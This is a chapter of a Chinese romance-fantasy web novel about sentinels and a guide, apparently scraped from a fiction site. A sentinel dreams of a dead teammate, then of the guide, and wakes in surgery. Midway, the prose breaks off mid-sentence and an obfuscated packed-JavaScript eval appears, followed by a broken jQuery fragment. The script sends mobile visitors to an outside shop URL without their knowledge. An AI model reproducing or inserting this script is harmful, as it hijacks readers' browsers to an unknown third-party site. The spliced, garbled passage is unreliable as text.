文趣网 > 其他小说 > 向导她什么时候能退休? > 35. 傀儡师(2)
    向导上车之后一直很安静。

    祝翥透过车内的后视镜观察着她。

    她一张脸倚在手背,胳膊肘搭着车窗,面无表情地看着窗外的风景。

    会议的内容让她感到不悦了吗?向导们会聊些什么?是关于这次差点失去她的危机?

    她感到不高兴,是因为那个倒在在地上、了无声息的秋吗?

    林时雨收回看向窗外的视线,若有所觉地回过头,正好和祝翥的目光碰上。

    她的目光很平静。

    祝翥僵硬地别过脸,结束了对视。

    她发现自己在偷看她。

    但是她不在乎。

    森摩没有错过这段小插曲,但他是司机,只是态度模糊地“哼”了一声。

    “怎么出来的晚了一些?被什么事耽搁了吗?”莱西浦没错过她的回眸,顺势问道。

    “会议结束后,阿西塔莉亚单独让我留下,叮嘱了一些事。你们之后也会知道的。”她语焉不详,似乎不太想过多谈论在疏导室发生的意外。

    “我明白了。”莱西浦结束了话题。

    中心会议室离向导的专属白塔只有20分钟的车程,车很快开回了那座蒲公英包围的白塔。

    林时雨下了车,说了一声自己先去休息。

    她的背影消失在白塔的阶梯上。

    “唉。”莱西浦捂住额头,有些为难。

    他一向游刃有余,现在却不知道该怎么办。

    哨兵们提前让厨房准备好了饭菜。

    向导下午只吃了很少很少的食物,莱西浦很担心她的营养与健康状况。

    哨兵们走到饭桌旁,众人沉默地将冒着热气的菜一一摆好。

    大众又简单的食物基本上都由机器人炒制,但向导的一日三餐有专门的营养师和厨师来规划和烹饪。

    原计划是等时雨回来,大家坐在一起吃晚饭。

    现在三个哨兵安静地坐在餐桌前。

    森摩的食量非常大,下午一整天都精神紧绷,热量没有得到及时补充,胃因饥饿而传来阵阵抽搐。

    但食物放在嘴里却如同嚼蜡,明明已经进食了足够的份量,饥饿的灼烧感迟迟不退。

    森摩有想过叫住向导离去的背影,问她要不要留下来吃一顿晚饭,可随着向导卧室的门“咔哒”一声关上,他问不出口,也没有了进食的欲望。

    祝翥看了一眼沉默的两人。

    他向来是这个团体最沉默的一个。

    难得的,他打破了餐桌上的平静:“她应该不想被人打扰。”

    “我知道!”一拳砸向饭桌,菜碟腾空又落下。

    骤然被祝翥戳破心思,森摩有一瞬的难堪。

    莱西蒲皱着眉看了他一眼:“你声音再大点,白塔的隔音再好也没用。”

    “我只是——”森摩无端地更惹了几分烦躁,他似乎想解释,又“啧”了几声,最后低声说:“我能理解她的感受,所以我只是……我只是觉得我很没用!”

    森摩有些自暴自弃:“她觉得自己别无选择,可我们彼此心知肚明!哪怕她不拿专属权做交换,她想要救灰茫,我们也会帮的。”

    “成为她专属的过程一点都不光彩。我就像个小偷一样!”

    “我们不该贪心的。”森摩捂住脸:“如果她愿意相信我,愿意告诉我她的愿望,她想让我们救灰茫我们就救呗,根本不值得她把专属给我们。”

    “你所说的一切是矛盾的。”祝翥站起身,居高临下地看着捂着脸的男人,他不想再听下去了:“说到底你还是无法拒绝这个诱惑。”他转身离开餐厅。

    “难为你想这么多,森摩。”莱西蒲优雅地喝了一口茶,那是林时雨平时爱喝的口味:“但你不要再说丧气话了。”

    “没想到就连祝翥都比你脸皮厚。”

    “我总是在想,别的贱人都行,为什么我就不行?时雨选择‘灰哨’的时候,那一刻我真的想撕烂灰茫的脸。”

    “没有什么是一蹴而就的。”莱西蒲说着这句话,眼神却看向祝翥离开的方向:“时雨是个善良的孩子,但同时,她也很固执。所以森摩,你要学会耐心和等待。”

    “只是这一点,我觉得祝翥比我们更懂。”

    晚餐不欢而散。

    祝翥躺在卧室的床上。

    灯已经熄灭,可他毫无睡意,睁着眼睛看着天花板。

    向导她……已经睡了吗?

    他尝试闭上眼,强迫自己什么也不想。当闭上眼抛掉一切思绪时,世界只剩一片漆黑,但身躯却仿佛处在一张洁白的纸上。

    一道不和谐的声音打破了他已经习惯的流程:“你好啊,祝翥。”

    祝翥不可置信地睁开眼,他几乎是从床上弹跳起身。

    灯光亮起。

    来人笑意盈盈地看着他。

    看清对面那人的模样,祝翥停下按向光屏的手,他迟疑道:“你怎么会在这里?你不是——”

    ——不是已经死在疏导室了吗?

    “死了就不能来找你了吗?祝翥,你不高兴吗?”

    “但我的尸体马上就要火化了,让我入土为安吧,祝翥。”

    “我是来求你帮帮我的。”秋的语气越发可怜卑微。

    对面的人,是曾经的队友。

    声音没变,容貌没变。

    只有下午被撕开的胸膛,此刻完好如初。

    那里真的还跳动着心脏吗?祝翥忍不住想。

    “我们不是队友吗?A级的我主动联系B级的你组队,借钱给你生病的母亲治病,带着人找到越级接任务濒死的你。”

    “这些事你都不记得了吗?祝翥?”

    警惕的绿色眼眸幽幽地看向对方伸过来的手。

    但祝翥在动摇,绿宝石般的眼眸轻轻颤动。

    须臾,祝翥艰难地走向对方。

    只是去保护他的尸体而已。

    只是这一个请求而已。

    “只要让你如土为安就可以了吗?”祝翥询问道。

    “是的呢。这样我就可以安心了。”秋笑得更开心更自然了。

    “我就知道你会帮我的。”

    “我会告诉你他们把我的尸体放在哪里,你只需要将我的尸体藏在他们都找不到的地方。”

    双手即将交握之时。

    “噗呲。”

    刀插入了秋的身体。

    祝翥面无表情地看着他:“我不理解,你都死了,为什么要来我的梦里。”

    血从秋的嘴角流下,他露出苍白的笑,十分笃定地说道:“你恨我,祝翥。”

    刀又往心口深了几寸,伤口变得更加触目惊心。

    “不过这样也好。”

    祝翥只听见一声叹息。

    下一秒,天旋地转。

    他坐在餐桌旁。

    还没有从梦里醒来吗?祝翥想。

    坐在餐桌对面的人慢慢抬起脸,露出一张朝思慕想的脸。

    “向导。”祝翥的声音发紧。

    林时雨看着他,起身走到他身旁坐下。

    她将头靠在他肩上,几乎贴近他半边身子:“怎么不叫我时雨?你不是一直想这样叫我吗?”

    祝翥全身都僵硬得不得了。

    香气更浓郁了,是她靠的更近了一些吗?

    只是一瞬的不注意。

    时雨俯身在他耳边,很软很香。

    她启唇,声音带着点调笑:“我们难道不是互相喜欢的关系吗?”

    祝翥红着脸,呆呆地看着笑得很开心的向导。

    餐桌上,只有他们两人,正吃着晚饭。

    “您下午都没吃什么,果然饿了呢。”祝翥轻声说。

    林时雨抬起头,嘴巴鼓鼓的,含糊不清地说:“和喜欢的人一起吃饭就是会很开心啊,然后不自觉地就会吃很多!”

    祝翥的神情有一瞬陷入迷茫,他知道面前的人应该是一个骗子。

    他应该还在梦里。

    可他还想被骗下去。

    只是贪心

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609897|205908||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一点点而已,祝翥想。

    “我翻看过小蒲记载的向导起居注,您很喜欢吃那些人做的菜。”

    “是啊,他们做的菜很好吃。”林时雨正准备和祝翥夸赞厨房的厨艺,却瞥见他有些落寞的神色。

    她站起身,双手捧住祝翥的脸,让他抬起头看着自己。

    “你不喜欢那些厨师吗?”她盯着他,很认真地询问。

    祝翥缓慢地点了点头。

    “为什么呢?”那双清澈的眼睛充满了疑惑和不解。

    只是在被满口谎言的污染欺骗而已。

    所以就算把无法当面说出口的、感到痛苦的、默默隐忍的一切都吐露出来,也是可以的吧。

    祝翥看着她的眼睛,说:“我讨厌他们,明明只是普通人,都不曾分化,却可以被你偏爱。”

    林时雨的手离开祝翥的脸颊,但她并没有离开,只是轻轻拍了拍他的头。

    祝翥一眨不眨地看着她。

    “还可以告诉我更多吗?关于你内心的——真实想法。”

    “我想知道更多。”林时雨看着他,一字一句地蛊惑道。

    祝翥有些难堪。明明是个骗子,骗人的手段却无比拙劣和敷衍,哄了他几句,就不愿意再费心思了。

    祝翥侧过脸,不太情愿。

    “拜托!”她试图和他对视,却被他躲过。

    “真的不可以吗~”但祝翥还是不看她。

    “祝翥。”她叫他的名字,声音有些沮丧。

    祝翥抬起头,只是想看她失落的表情。

    可是预想中难过的样子并没有出现,她笑得很温柔,俯下身,亲了亲他的额头。

    就像蒲公英落在藤蔓上。

    祝翥睁大双眼。

    他明白的,不该再继续下去了,一而再、再而三地掉进对方的陷阱。

    “你想知道什么呢?我没有什么机密,更不会告诉你关于向导的一切。”

    “都是很简单的问题啦。”她露出很坏心的笑,像小恶魔一样。

    “提问:你后悔组建X-4吗?”

    “不后悔。”

    “提问:你后悔守护向导分化吗?”

    “不后悔。”

    “提问:请假设秋的所作所为是被人所迫,非他本心。你会为没有帮助秋而感到自责吗?”

    “不。”

    翡翠色的眸子如同燃烧着的幽火。

    这大概是祝翥第一次在她面前展现怒意。

    “他是多么幸运啊!守护了分化,还成为她的专属!”

    “可自我都没有的人,凭什么陪伴在她身边?”

    “这种家伙,不配得到她的同情和信任。”

    “我无法原谅。”

    “结束提问。”林时雨轻声说。

    话语毕。

    胸膛传来剧烈的疼痛,有异物刺入他的心脏。

    但疼痛很快便消散了。

    柔软的东西包裹住他,像向导素一样温暖。

    他失去了挣扎的力气,意识涣散,看着她亲手从他的心脏里拔出一枚钉子。

    “净化结束,准备唤醒患者。”机械的电流声如同杂音突兀地在耳边响起。

    一阵天旋地转。

    她身旁,一株雪白的绒球一闪而过。

    假的向导,也会有蒲公英精神体吗?

    周围的场景一并褪去。

    他朝她伸出手。

    为什么?

    她的眼眸中,为何涌出泪水呢?

    明明已经利用完他了,为什么要哭呢?

    空气里是消毒水的味道。

    向导带着口罩,穿着白大褂,只露出一双眼睛。

    祝翥看得很清晰。

    湿润泛红的眼,和真实存在的泪水。

    不远处的手术镜里,他全身上下插/满了管子。

    肋骨之下,心脏裸露着。

    啊,祝翥知道她为何而哭了。

    原来这颗跳动着的心脏,正在腐烂。